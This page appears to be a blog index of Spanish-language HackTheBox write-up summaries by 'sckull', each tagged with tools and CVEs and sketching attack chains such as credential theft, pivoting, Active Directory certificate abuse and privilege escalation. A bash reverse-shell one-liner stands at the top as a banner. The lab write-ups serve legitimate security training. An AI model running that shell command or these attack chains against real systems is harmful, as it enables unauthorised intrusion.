root
bash -i >& /dev/tcp/localhost/1337 0>&1
HackTheBox - Fries
· ✍️ sckull
pwm ffuf gitea pgadmin-9.1 postgresql shell-via-sql docker metasploit CVE-2025-2945 ligolo-ng nmap nfs nfsshell docker-certificate-auth pwm-ldap-creds hashcat responder bloodhound gmsa evil-winrm ESC7 ESC6 ESC16 certify certipy evil-winrm-py
En Fries se descubrieron varios subdominios: uno aloja un repositorio con credenciales y otro, exponia una instancia de pgAdmin vulnerable. Esta permitio acceder a dos contenedores Docker donde se descubrieron nuevas credenciales. Tras realizar pivoting se identifico un contenedor que exponia un recurso NFS con certificados. Las credenciales encontradas permitieron el acceso por SSH a un host Linux; dentro, utilizamos los certificados para escalar privilegios. Tambien, descubrimos credenciales para PWM lo que permitio obtener nuevas credenciales. Con estas ultimas ejecutamos Bloodhound lo que permitio identificar permisos que dieron el acceso a un nuevo usuario y, a traves de este se explotaron ESC7, ESC6 y ESC16 para escalar privilegios en el dominio.
HackTheBox - Fries
HackTheBox - Logging
· ✍️ sckull
logs-file bloodhound GenericWrite shadow-credential-attack scheduled-task ILSPy dll reverse-shell-dll wsus-https certify certipy dnstool wsuks mimikatz
Logging expone archivos de log en el servicio de samba donde se descubrieron credenciales. Esto ultimo y el analisis de Bloodhound permitio acceso por WinRM. Se encontro una tarea programada para un ejecutable que busca actualizaciones y la ejecucion de una funcion en un archivo dll. Se creo una nueva actualizacion con una shell inversa para lograr el acceso a un nuevo usuario. Finalmente se realizo la explotacion de WSUS para escalar privilegios.
HackTheBox - Logging
HackTheBox - DevArea
· ✍️ sckull
vsFTPd-3.0.5 jadx java-jar Apache-CXF-3.2.14 CVE-2022-46364 Jetty-9.4.27 HoverFly-1.11.3 CVE-2025-54123 SSRF writable-bash reverse-tunnel chisel suid
DevArea expone el servicio FTP, donde se encontro un archivo JAR para un servicio web SOAP corriendo en Apache CXF. Este ultimo es vulnerable a SSRF, lo que permitio realizar la lectura de credenciales en un servicio de Linux. Finalmente se escalaron privilegios a traves de un script con sudo y permisos de escritura sobre bash.
HackTheBox - DevArea
HackTheBox - WingData
· ✍️ sckull
ffuf searchsploit CVE-2025-47812 Wing-FTP-Server-7.4.3 hash-sha-256-salt hashcat python3-tarfile CVE-2025-4517
En WingData descubrimos Wing FTP Server en una version vulnerable que permitio el acceso inicial. Los archivos de configuracion para este, permitieron exponer credenciales para un primer usuario. Escalamos privilegios a traves de una vulnerabilidad en TarFile de Python para la escritura de archivos a traves de enlaces simbolicos.
HackTheBox - WingData
HackTheBox - NanoCorp
· ✍️ sckull
hashgrab responder netexec bloodhound bloodyAD impacket-getTGT winrmexec RunasCs Checkmk CVE-2024-0670 checkmk-agent msiexec msfvenom metasploit mimikatz .library-ms
En NanoCorp se capturo el hash de un primer usuario con la carga de un archivo zip malicioso. Tras crackear el hash, se realizo una enumeracion de Active Directory con bloodhound, esto permitio identificar una ruta de explotacion para un segundo usuario. Se descubrio Check MK y una vulnerabilidad que afectaba a este software. Esta vulnerabilidad era explotable por el primer usuario por lo que se ejecuto RunasCs para obtener una shell inversa y, finalmente, tras su explotacion, se logro la escalada de privilegios.
HackTheBox - NanoCorp
HackTheBox - VariaType
· ✍️ sckull
designspace-file ttf-file git-dumper git fonttools arbitrary-file-write xml-injection CVE-2025-66034 path-traversal dotdotpwn nginx-files CVE-2024-25081 CVE-2024-25082 fontforge-python pspy CVE-2025-47273 setuptools-78.1.0
VariaType permite la creacion de Variable Fonts en el sitio con fonttools, esta ultima es vulnerable a Arbirary File Write e Inyeccion XML. Tambien, se descubrio un subdominio que aloja y expone un repositorio con credenciales para un portal, se identifico un Path Traversal. La explotacion permitio acceso inicial. Se descubrio un backup de script Python con la libreria fontforge vulnerable, la explotacion permitio acceso a un nuevo usuario. Finalmente se escalaron privilegios a traves de una vulnerabilidad en la libreria de setuptools de Python.
HackTheBox - VariaType
HackTheBox - Eighteen
· ✍️ sckull
mssql xp_dirtree responder enum_logins exec_as_login pbkdf2-hmac-sha256 hashcat metasploit password-spraying winrmexec tunneling evil-winrm-py ligolo-ng bloodyAD BadSuccessor BadSuccessor.ps1 Rubeus ticketConverter secretsdump
Eighteen expone el servicio MSSQL donde, descubrimos credenciales que permitieron el acceso por WinRM. Se ejecuto ligolo para exponer los puertos locales. Al enumerar los permisos del usuario, se identifico una configuracion de permisos en Active Directory que permitio realizar el ataque BadSuccessor, logrando la escalada de privilegios.
HackTheBox - Eighteen